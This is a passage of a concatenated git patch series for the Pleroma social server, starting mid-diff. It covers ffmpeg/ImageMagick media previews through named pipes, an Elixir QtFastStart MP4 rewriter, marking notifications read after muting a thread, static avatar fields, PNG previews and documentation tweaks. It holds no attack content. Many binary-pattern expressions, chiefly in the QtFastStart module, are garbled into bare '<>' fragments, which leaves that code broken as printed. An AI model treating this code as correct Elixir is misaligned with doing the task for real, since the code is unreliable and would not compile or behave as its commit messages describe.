fifo_path} <- mkfifo() do + ] do run_fifo(fifo_path, env, executable, args) else nil -> {:error, {:ffmpeg, :command_not_found}} @@ -57,7 +57,12 @@ def video_framegrab(url) do end defp run_fifo(fifo_path, env, executable, args) do - args = List.flatten([fifo_path, args]) + args = + if _executable = System.find_executable("convert") do + List.flatten([fifo_path, args]) + else + args + end pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) fifo = Port.open(to_charlist(fifo_path), [:eof, :binary, :stream, :out]) true = Port.command(fifo, env.body) -- cgit v1.2.3 From dd1de994d57e3d9c99bb4e4c7019c696b5153f50 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 13:10:40 -0500 Subject: Try to trick ffmpeg into working with this named pipe --- lib/pleroma/helpers/media_helper.ex | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 7c2bfbc53..385a4df81 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -43,11 +43,12 @@ def video_framegrab(url) do {:ok, env} <- Pleroma.HTTP.get(url), {:ok, fifo_path} <- mkfifo(), args = [ + "-y", "-i", fifo_path, "-vframes", "1", "-f", "mjpeg", "-loglevel", "error", - "-" + "pipe:" ] do run_fifo(fifo_path, env, executable, args) else -- cgit v1.2.3 From 3a5231ec8fd0583d7f4bf05378d8bb81096c4f40 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 16:33:37 -0500 Subject: Keep args construction within video/image scopes instead of mangling down in fifo town --- lib/pleroma/helpers/media_helper.ex | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 385a4df81..b42612ccb 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -16,6 +16,7 @@ def image_resize(url, options) do {:ok, env} <- Pleroma.HTTP.get(url), {:ok, fifo_path} <- mkfifo() do + args = List.flatten([fifo_path, args]) run_fifo(fifo_path, env, executable, args) else nil -> {:error, {:convert, :command_not_found}} @@ -58,12 +59,6 @@ def video_framegrab(url) do end defp run_fifo(fifo_path, env, executable, args) do - args = - if _executable = System.find_executable("convert") do - List.flatten([fifo_path, args]) - else - args - end pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) fifo = Port.open(to_charlist(fifo_path), [:eof, :binary, :stream, :out]) true = Port.command(fifo, env.body) -- cgit v1.2.3 From 67c79394e81cf9f5404afad29a397acf32dece33 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 17:15:23 -0500 Subject: Support static avatars and header images with Mediaproxy Preview --- lib/pleroma/web/mastodon_api/views/account_view.ex | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 864c0417f..eef45b35d 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -181,8 +181,10 @@ defp do_render("show.json", %{user: user} = opts) do user = User.sanitize_html(user, User.html_filter_policy(opts[:for])) display_name = user.name || user.nickname - image = User.avatar_url(user) |> MediaProxy.url() + avatar = User.avatar_url(user) |> MediaProxy.url() + avatar_static = User.avatar_url(user) |> MediaProxy.preview_url() header = User.banner_url(user) |> MediaProxy.url() + header_static = User.banner_url(user) |> MediaProxy.preview_url() following_count = if !user.hide_follows_count or !user.hide_follows or opts[:for] == user do @@ -247,10 +249,10 @@ defp do_render("show.json", %{user: user} = opts) do statuses_count: user.note_count, note: user.bio || "", url: user.uri || user.ap_id, - avatar: image, - avatar_static: image, + avatar: avatar, + avatar_static: avatar_static, header: header, - header_static: header, + header_static: header_static, emojis: emojis, fields: user.fields, bot: bot, -- cgit v1.2.3 From 5b4d483f522f470b9d2cdb7f43d98dde427a1241 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 17:28:21 -0500 Subject: Add a note about the avatars and banners situation --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 7ac1a97e2..411dc95d0 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -67,6 +67,9 @@ defp handle_preview(conn, url) do end end + # TODO: find a workaround so avatar_static and banner_static can work. + # Those only permit GIFs for animation, so we have to permit a way to + # allow those to get real static variants. defp handle_preview("image/gif" = _content_type, conn, url) do mediaproxy_url = url |> MediaProxy.url() -- cgit v1.2.3 From ce387ce7306d944c11e63f0c86719afd5c2da2d2 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Fri, 28 Aug 2020 16:15:57 +0300 Subject: mix.exs: bump development version after 2.1.0 release --- mix.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mix.exs b/mix.exs index d7c408972..4de0c78db 100644 --- a/mix.exs +++ b/mix.exs @@ -4,7 +4,7 @@ defmodule Pleroma.Mixfile do def project do [ app: :pleroma, - version: version("2.1.0"), + version: version("2.1.50"), elixir: "~> 1.9", elixirc_paths: elixirc_paths(Mix.env()), compilers: [:phoenix, :gettext] ++ Mix.compilers(), -- cgit v1.2.3 From 35da3be9ddf2df042153978308178c94afe25737 Mon Sep 17 00:00:00 2001 From: Shpuld Shpludson Date: Fri, 28 Aug 2020 13:50:21 +0000 Subject: Add mention of sudo -Hu pleroma to docs --- docs/administration/updating.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/administration/updating.md b/docs/administration/updating.md index c994f3f16..ef2c9218c 100644 --- a/docs/administration/updating.md +++ b/docs/administration/updating.md @@ -18,9 +18,10 @@ su pleroma -s $SHELL -lc "./bin/pleroma_ctl migrate" 1. Go to the working directory of Pleroma (default is `/opt/pleroma`) 2. Run `git pull`. This pulls the latest changes from upstream. -3. Run `mix deps.get`. This pulls in any new dependencies. +3. Run `mix deps.get` [^1]. This pulls in any new dependencies. 4. Stop the Pleroma service. -5. Run `mix ecto.migrate`[^1]. This task performs database migrations, if there were any. +5. Run `mix ecto.migrate` [^1] [^2]. This task performs database migrations, if there were any. 6. Start the Pleroma service. -[^1]: Prefix with `MIX_ENV=prod` to run it using the production config file. +[^1]: Depending on which install guide you followed (for example on Debian/Ubuntu), you want to run `mix` tasks as `pleroma` user by adding `sudo -Hu pleroma` before the command. +[^2]: Prefix with `MIX_ENV=prod` to run it using the production config file. -- cgit v1.2.3 From f0fefc4f5c3aa4fa62f2edee72ee864a16e7176d Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Fri, 28 Aug 2020 18:17:44 +0300 Subject: marks notifications as read after mute --- lib/pleroma/notification.ex | 12 ++++++ lib/pleroma/web/common_api/common_api.ex | 3 +- test/web/common_api/common_api_test.exs | 65 ++++++++++++++++++++++++++++++++ 3 files changed, 79 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/notification.ex b/lib/pleroma/notification.ex index c1825f810..b952e81fa 100644 --- a/lib/pleroma/notification.ex +++ b/lib/pleroma/notification.ex @@ -648,4 +648,16 @@ def for_user_and_activity(user, activity) do ) |> Repo.one() end + + @spec mark_as_read(User.t(), Activity.t()) :: {integer(), nil | [term()]} + def mark_as_read(%User{id: id}, %Activity{data: %{"context" => context}}) do + from( + n in Notification, + join: a in assoc(n, :activity), + where: n.user_id == ^id, + where: n.seen == false, + where: fragment("?->>'context'", a.data) == ^context + ) + |> Repo.update_all(set: [seen: true]) + end end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5ad2b91c2..43e9e39a8 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -452,7 +452,8 @@ def unpin(id, user) do end def add_mute(user, activity) do - with {:ok, _} <- ThreadMute.add_mute(user.id, activity.data["context"]) do + with {:ok, _} <- ThreadMute.add_mute(user.id, activity.data["context"]), + _ <- Pleroma.Notification.mark_as_read(user, activity) do {:ok, activity} else {:error, _} -> {:error, dgettext("errors", "conversation is already muted")} diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 4ba6232dc..800db9a20 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPITest do alias Pleroma.Conversation.Participation alias Pleroma.Notification alias Pleroma.Object + alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Transmogrifier @@ -18,6 +19,7 @@ defmodule Pleroma.Web.CommonAPITest do import Pleroma.Factory import Mock + import Ecto.Query, only: [from: 2] require Pleroma.Constants @@ -808,6 +810,69 @@ test "should unpin when deleting a status", %{user: user, activity: activity} do [user: user, activity: activity] end + test "marks notifications as read after mute" do + author = insert(:user) + activity = insert(:note_activity, user: author) + + friend1 = insert(:user) + friend2 = insert(:user) + + {:ok, reply_activity} = + CommonAPI.post( + friend2, + %{ + status: "@#{author.nickname} @#{friend1.nickname} test reply", + in_reply_to_status_id: activity.id + } + ) + + {:ok, favorite_activity} = CommonAPI.favorite(friend2, activity.id) + {:ok, repeat_activity} = CommonAPI.repeat(activity.id, friend1) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + unread_notifications = + Repo.all(from(n in Notification, where: n.seen == false, where: n.user_id == ^author.id)) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + + {:ok, _} = CommonAPI.add_mute(author, activity) + assert CommonAPI.thread_muted?(author, activity) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + read_notifications = + Repo.all(from(n in Notification, where: n.seen == true, where: n.user_id == ^author.id)) + + assert Enum.any?(read_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + end + test "add mute", %{user: user, activity: activity} do {:ok, _} = CommonAPI.add_mute(user, activity) assert CommonAPI.thread_muted?(user, activity) -- cgit v1.2.3 From dfceb03cf47374fdeab60784476b2e266208a4bb Mon Sep 17 00:00:00 2001 From: href Date: Fri, 28 Aug 2020 21:14:28 +0200 Subject: Rewrite MP4/MOV binaries to be faststart In some cases, MP4/MOV files can have the data _before_ the meta-data. Thus, ffmpeg (and all similar tools) cannot really process the input if it's given over stdin/streaming/pipes. BUT I REALLY DON'T WANT TO MAKE TEMPORARY FILES so here we go, an implementation of qtfaststart in elixir. --- lib/pleroma/helpers/media_helper.ex | 59 +++++++++++----- lib/pleroma/helpers/qt_fast_start.ex | 131 +++++++++++++++++++++++++++++++++++ 2 files changed, 172 insertions(+), 18 deletions(-) create mode 100644 lib/pleroma/helpers/qt_fast_start.ex diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index b42612ccb..5ac75b326 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -14,8 +14,7 @@ def image_resize(url, options) do {:ok, args} <- prepare_image_resize_args(options), url = Pleroma.Web.MediaProxy.url(url), {:ok, env} <- Pleroma.HTTP.get(url), - {:ok, fifo_path} <- mkfifo() - do + {:ok, fifo_path} <- mkfifo() do args = List.flatten([fifo_path, args]) run_fifo(fifo_path, env, executable, args) else @@ -27,12 +26,17 @@ def image_resize(url, options) do defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = options) do quality = options[:quality] || 85 resize = Enum.join([max_width, "x", max_height, ">"]) + args = [ - "-interlace", "Plane", - "-resize", resize, - "-quality", to_string(quality), - "jpg:-" + "-interlace", + "Plane", + "-resize", + resize, + "-quality", + to_string(quality), + "jpg:-" ] + {:ok, args} end @@ -45,11 +49,15 @@ def video_framegrab(url) do {:ok, fifo_path} <- mkfifo(), args = [ "-y", - "-i", fifo_path, - "-vframes", "1", - "-f", "mjpeg", - "-loglevel", "error", - "pipe:" + "-i", + fifo_path, + "-vframes", + "1", + "-f", + "mjpeg", + "-loglevel", + "error", + "-" ] do run_fifo(fifo_path, env, executable, args) else @@ -59,9 +67,18 @@ def video_framegrab(url) do end defp run_fifo(fifo_path, env, executable, args) do - pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) + pid = + Port.open({:spawn_executable, executable}, [ + :use_stdio, + :stream, + :exit_status, + :binary, + args: args + ]) + fifo = Port.open(to_charlist(fifo_path), [:eof, :binary, :stream, :out]) - true = Port.command(fifo, env.body) + fix = Pleroma.Helpers.QtFastStart.fix(env.body) + true = Port.command(fifo, fix) :erlang.port_close(fifo) loop_recv(pid) after @@ -70,10 +87,12 @@ defp run_fifo(fifo_path, env, executable, args) do defp mkfifo() do path = "#{@tmp_base}#{to_charlist(:erlang.phash2(self()))}" + case System.cmd("mkfifo", [path]) do {_, 0} -> spawn(fifo_guard(path)) {:ok, path} + {_, err} -> {:error, {:fifo_failed, err}} end @@ -81,8 +100,10 @@ defp mkfifo() do defp fifo_guard(path) do pid = self() - fn() -> + + fn -> ref = Process.monitor(pid) + receive do {:DOWN, ^ref, :process, ^pid, _} -> File.rm(path) @@ -98,14 +119,16 @@ defp loop_recv(pid, acc) do receive do {^pid, {:data, data}} -> loop_recv(pid, acc <> data) + {^pid, {:exit_status, 0}} -> {:ok, acc} + {^pid, {:exit_status, status}} -> {:error, status} - after - 5000 -> - :erlang.port_close(pid) - {:error, :timeout} + after + 5000 -> + :erlang.port_close(pid) + {:error, :timeout} end end end diff --git a/lib/pleroma/helpers/qt_fast_start.ex b/lib/pleroma/helpers/qt_fast_start.ex new file mode 100644 index 000000000..694b583b9 --- /dev/null +++ b/lib/pleroma/helpers/qt_fast_start.ex @@ -0,0 +1,131 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Helpers.QtFastStart do + @moduledoc """ + (WIP) Converts a "slow start" (data before metadatas) mov/mp4 file to a "fast start" one (metadatas before data). + """ + + # TODO: Cleanup and optimizations + # Inspirations: https://www.ffmpeg.org/doxygen/3.4/qt-faststart_8c_source.html + # https://github.com/danielgtaylor/qtfaststart/blob/master/qtfaststart/processor.py + # ISO/IEC 14496-12:2015, ISO/IEC 15444-12:2015 + # Paracetamol + + def fix(binary = <<0x00, 0x00, 0x00, _, 0x66, 0x74, 0x79, 0x70, _::binary>>) do + index = fix(binary, binary, 0, []) + + case index do + [{"ftyp", _, _, _, _}, {"mdat", _, _, _, _} | _] -> faststart(index) + [{"ftyp", _, _, _, _}, {"free", _, _, _, _}, {"mdat", _, _, _, _} | _] -> faststart(index) + _ -> binary + end + end + + def fix(binary) do + binary + end + + defp fix(<<>>, _bin, _pos, acc) do + :lists.reverse(acc) + end + + defp fix( + <>, + bin, + pos, + acc + ) do + if fourcc == "mdat" && size == 0 do + # mdat with 0 size means "seek to the end" -- also, in that case the file is probably OK. + acc = [ + {fourcc, pos, byte_size(bin) - pos, byte_size(bin) - pos, + <>} + | acc + ] + + fix(<<>>, bin, byte_size(bin), acc) + else + full_size = size - 8 + <> = rest + + acc = [ + {fourcc, pos, pos + size, size, + <>} + | acc + ] + + fix(rest, bin, pos + size, acc) + end + end + + defp faststart(index) do + {{_ftyp, _, _, _, ftyp}, index} = List.keytake(index, "ftyp", 0) + + # Skip re-writing the free fourcc as it's kind of useless. Why stream useless bytes when you can do without? + {free_size, index} = + case List.keytake(index, "free", 0) do + {{_, _, _, size, _}, index} -> {size, index} + _ -> {0, index} + end + + {{_moov, _, _, moov_size, moov}, index} = List.keytake(index, "moov", 0) + offset = -free_size + moov_size + rest = for {_, _, _, _, data} <- index, do: data, into: <<>> + <> = moov + new_moov = fix_moov(moov_data, offset) + <> + end + + defp fix_moov(moov, offset) do + fix_moov(moov, offset, <<>>) + end + + defp fix_moov(<<>>, _, acc), do: acc + + defp fix_moov( + <>, + offset, + acc + ) do + full_size = size - 8 + <> = rest + + data = + cond do + fourcc in ["trak", "mdia", "minf", "stbl"] -> + # Theses contains sto or co64 part + <>)::binary>> + + fourcc in ["stco", "co64"] -> + # fix the damn thing + <> = data + + entry_size = + case fourcc do + "stco" -> 4 + "co64" -> 8 + end + + {_, result} = + Enum.reduce(1..count, {rest, <<>>}, fn _, + {<>, acc} -> + {rest, <>} + end) + + <> + + true -> + <> + end + + acc = <> + fix_moov(rest, offset, acc) + end +end -- cgit v1.2.3 From 24d522c3b366b54b23bebaf07371145d50820d4a Mon Sep 17 00:00:00 2001 From: href Date: Sat, 29 Aug 2020 13:05:23 +0200 Subject: QtFastStart: optimize ~4-6x faster ~3~4x memory usage reduction (now mostly adds what we are rewriting in the metadatas) --- lib/pleroma/helpers/qt_fast_start.ex | 115 +++++++++++++++++------------------ 1 file changed, 57 insertions(+), 58 deletions(-) diff --git a/lib/pleroma/helpers/qt_fast_start.ex b/lib/pleroma/helpers/qt_fast_start.ex index 694b583b9..8cba06e54 100644 --- a/lib/pleroma/helpers/qt_fast_start.ex +++ b/lib/pleroma/helpers/qt_fast_start.ex @@ -13,10 +13,11 @@ defmodule Pleroma.Helpers.QtFastStart do # ISO/IEC 14496-12:2015, ISO/IEC 15444-12:2015 # Paracetamol - def fix(binary = <<0x00, 0x00, 0x00, _, 0x66, 0x74, 0x79, 0x70, _::binary>>) do - index = fix(binary, binary, 0, []) + def fix(binary = <<0x00, 0x00, 0x00, _, 0x66, 0x74, 0x79, 0x70, _::bits>>) do + index = fix(binary, 0, nil, nil, []) case index do + :abort -> binary [{"ftyp", _, _, _, _}, {"mdat", _, _, _, _} | _] -> faststart(index) [{"ftyp", _, _, _, _}, {"free", _, _, _, _}, {"mdat", _, _, _, _} | _] -> faststart(index) _ -> binary @@ -27,37 +28,32 @@ def fix(binary) do binary end - defp fix(<<>>, _bin, _pos, acc) do - :lists.reverse(acc) + # MOOV have been seen before MDAT- abort + defp fix(<<_::bits>>, _, true, false, _) do + :abort end defp fix( - <>, - bin, + <>, pos, + got_moov, + got_mdat, acc ) do - if fourcc == "mdat" && size == 0 do - # mdat with 0 size means "seek to the end" -- also, in that case the file is probably OK. - acc = [ - {fourcc, pos, byte_size(bin) - pos, byte_size(bin) - pos, - <>} - | acc - ] - - fix(<<>>, bin, byte_size(bin), acc) - else - full_size = size - 8 - <> = rest - - acc = [ - {fourcc, pos, pos + size, size, - <>} - | acc - ] - - fix(rest, bin, pos + size, acc) - end + full_size = (size - 8) * 8 + <> = rest + + acc = [ + {fourcc, pos, pos + size, size, + <>} + | acc + ] + + fix(rest, pos + size, got_moov || fourcc == "moov", got_mdat || fourcc == "mdat", acc) + end + + defp fix(<<>>, _pos, _, _, acc) do + :lists.reverse(acc) end defp faststart(index) do @@ -72,60 +68,63 @@ defp faststart(index) do {{_moov, _, _, moov_size, moov}, index} = List.keytake(index, "moov", 0) offset = -free_size + moov_size - rest = for {_, _, _, _, data} <- index, do: data, into: <<>> - <> = moov - new_moov = fix_moov(moov_data, offset) - <> - end - - defp fix_moov(moov, offset) do - fix_moov(moov, offset, <<>>) + rest = for {_, _, _, _, data} <- index, do: data, into: [] + <> = moov + [ftyp, moov_head, fix_moov(moov_data, offset, []), rest] end - defp fix_moov(<<>>, _, acc), do: acc - defp fix_moov( - <>, + <>, offset, acc ) do - full_size = size - 8 - <> = rest + full_size = (size - 8) * 8 + <> = rest data = cond do fourcc in ["trak", "mdia", "minf", "stbl"] -> # Theses contains sto or co64 part - <>)::binary>> + [<>, fix_moov(data, offset, [])] fourcc in ["stco", "co64"] -> # fix the damn thing - <> = data + <> = data entry_size = case fourcc do - "stco" -> 4 - "co64" -> 8 + "stco" -> 32 + "co64" -> 64 end - {_, result} = - Enum.reduce(1..count, {rest, <<>>}, fn _, - {<>, acc} -> - {rest, <>} - end) - - <> + [ + <>, + rewrite_entries(entry_size, offset, rest, []) + ] true -> - <> + [<>, data] end - acc = <> + acc = [acc | data] fix_moov(rest, offset, acc) end + + defp fix_moov(<<>>, _, acc), do: acc + + for size <- [32, 64] do + defp rewrite_entries( + unquote(size), + offset, + <>, + acc + ) do + rewrite_entries(unquote(size), offset, rest, [ + acc | <> + ]) + end + end + + defp rewrite_entries(_, _, <<>>, acc), do: acc end -- cgit v1.2.3 From 2d2af75777ae468fb08a2b09dc5af4636106a04b Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Sun, 30 Aug 2020 09:17:24 -0500 Subject: Support PNG previews to preserve alpha channels --- lib/pleroma/helpers/media_helper.ex | 17 ++++++++++++ .../web/media_proxy/media_proxy_controller.ex | 32 ++++++++++++++++++++-- 2 files changed, 47 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 5ac75b326..d8a6db4e1 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -23,6 +23,23 @@ def image_resize(url, options) do end end + defp prepare_image_resize_args( + %{max_width: max_width, max_height: max_height, format: "png"} = options + ) do + quality = options[:quality] || 85 + resize = Enum.join([max_width, "x", max_height, ">"]) + + args = [ + "-resize", + resize, + "-quality", + to_string(quality), + "png:-" + ] + + {:ok, args} + end + defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = options) do quality = options[:quality] || 85 resize = Enum.join([max_width, "x", max_height, ">"]) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 411dc95d0..94fae6cac 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -76,8 +76,12 @@ defp handle_preview("image/gif" = _content_type, conn, url) do redirect(conn, external: mediaproxy_url) end + defp handle_preview("image/png" <> _ = _content_type, conn, url) do + handle_png_preview(conn, url) + end + defp handle_preview("image/" <> _ = _content_type, conn, url) do - handle_image_preview(conn, url) + handle_jpeg_preview(conn, url) end defp handle_preview("video/" <> _ = _content_type, conn, url) do @@ -88,7 +92,31 @@ defp handle_preview(content_type, conn, _url) do send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end - defp handle_image_preview(%{params: params} = conn, url) do + defp handle_png_preview(%{params: params} = conn, url) do + quality = Config.get!([:media_preview_proxy, :image_quality]) + + with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), + {:ok, thumbnail_binary} <- + MediaHelper.image_resize( + url, + %{ + max_width: thumbnail_max_width, + max_height: thumbnail_max_height, + quality: quality, + format: "png" + } + ) do + conn + |> put_resp_header("content-type", "image/png") + |> put_resp_header("content-disposition", "inline; filename=\"preview.png\"") + |> send_resp(200, thumbnail_binary) + else + _ -> + send_resp(conn, :failed_dependency, "Can't handle preview.") + end + end + + defp handle_jpeg_preview(%{params: params} = conn, url) do quality = Config.get!([:media_preview_proxy, :image_quality]) with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), -- cgit v1.2.3 From 4ef210a587113313cd6887b7499832d0c0798f7f Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Sun, 30 Aug 2020 09:32:22 -0500 Subject: Credo --- lib/pleroma/helpers/media_helper.ex | 2 +- lib/pleroma/helpers/qt_fast_start.ex | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index d8a6db4e1..9bd815c26 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -102,7 +102,7 @@ defp run_fifo(fifo_path, env, executable, args) do File.rm(fifo_path) end - defp mkfifo() do + defp mkfifo do path = "#{@tmp_base}#{to_charlist(:erlang.phash2(self()))}" case System.cmd("mkfifo", [path]) do diff --git a/lib/pleroma/helpers/qt_fast_start.ex b/lib/pleroma/helpers/qt_fast_start.ex index 8cba06e54..bb93224b5 100644 --- a/lib/pleroma/helpers/qt_fast_start.ex +++ b/lib/pleroma/helpers/qt_fast_start.ex @@ -13,7 +13,7 @@ defmodule Pleroma.Helpers.QtFastStart do # ISO/IEC 14496-12:2015, ISO/IEC 15444-12:2015 # Paracetamol - def fix(binary = <<0x00, 0x00, 0x00, _, 0x66, 0x74, 0x79, 0x70, _::bits>>) do + def fix(<<0x00, 0x00, 0x00, _, 0x66, 0x74, 0x79, 0x70, _::bits>> = binary) do index = fix(binary, 0, nil, nil, []) case index do @@ -59,7 +59,8 @@ defp fix(<<>>, _pos, _, _, acc) do defp faststart(index) do {{_ftyp, _, _, _, ftyp}, index} = List.keytake(index, "ftyp", 0) - # Skip re-writing the free fourcc as it's kind of useless. Why stream useless bytes when you can do without? + # Skip re-writing the free fourcc as it's kind of useless. + # Why stream useless bytes when you can do without? {free_size, index} = case List.keytake(index, "free", 0) do {{_, _, _, size, _}, index} -> {size, index} -- cgit v1.2.3 From 858e9a59ed8537e42c490645633266e13474ae99 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 31 Aug 2020 09:54:16 +0300 Subject: mix.lock: bump fast_sanitize The update brings a better error message for when cmake isn't installed --- mix.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mix.lock b/mix.lock index 86d0a75d7..afb4b06db 100644 --- a/mix.lock +++ b/mix.lock @@ -42,8 +42,8 @@ "ex_machina": {:hex, :ex_machina, "2.4.0", "09a34c5d371bfb5f78399029194a8ff67aff340ebe8ba19040181af35315eabb", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "a20bc9ddc721b33ea913b93666c5d0bdca5cbad7a67540784ae277228832d72c"}, "ex_syslogger": {:hex, :ex_syslogger, "1.5.2", "72b6aa2d47a236e999171f2e1ec18698740f40af0bd02c8c650bf5f1fd1bac79", [:mix], [{:poison, ">= 1.5.0", [hex: :poison, repo: "hexpm", optional: true]}, {:syslog, "~> 1.1.0", [hex: :syslog, repo: "hexpm", optional: false]}], "hexpm", "ab9fab4136dbc62651ec6f16fa4842f10cf02ab4433fa3d0976c01be99398399"}, "excoveralls": {:hex, :excoveralls, "0.13.1", "b9f1697f7c9e0cfe15d1a1d737fb169c398803ffcbc57e672aa007e9fd42864c", [:mix], [{:hackney, "~> 1.16", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "b4bb550e045def1b4d531a37fb766cbbe1307f7628bf8f0414168b3f52021cce"}, - "fast_html": {:hex, :fast_html, "2.0.2", "1fabc408b2baa965cf6399a48796326f2721b21b397a3c667bb3bb88fb9559a4", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "f077e2c1597a6e2678e6cacc64f456a6c6024eb4240092c46d4212496dc59aba"}, - "fast_sanitize": {:hex, :fast_sanitize, "0.2.1", "3302421a988992b6cae08e68f77069e167ff116444183f3302e3c36017a50558", [:mix], [{:fast_html, "~> 2.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "bcd2c54e328128515edd1a8fb032fdea7e5581672ba161fc5962d21ecee92502"}, + "fast_html": {:hex, :fast_html, "2.0.3", "27289dea6c3a22952191a2d4e07f546c0de8a351484782c2e797dbae06a5dc8a", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "17d41fa8afe4e912ffe74e13b87ddb085382cd2b7393636d338495c9a8a7b518"}, + "fast_sanitize": {:hex, :fast_sanitize, "0.2.2", "3cbbaebaea6043865dfb5b4ecb0f1af066ad410a51470e353714b10c42007b81", [:mix], [{:fast_html, "~> 2.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "69f204db9250afa94a0d559d9110139850f57de2b081719fbafa1e9a89e94466"}, "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"}, "floki": {:hex, :floki, "0.27.0", "6b29a14283f1e2e8fad824bc930eaa9477c462022075df6bea8f0ad811c13599", [:mix], [{:html_entities, "~> 0.5.0", [hex: :html_entities, repo: "hexpm", optional: false]}], 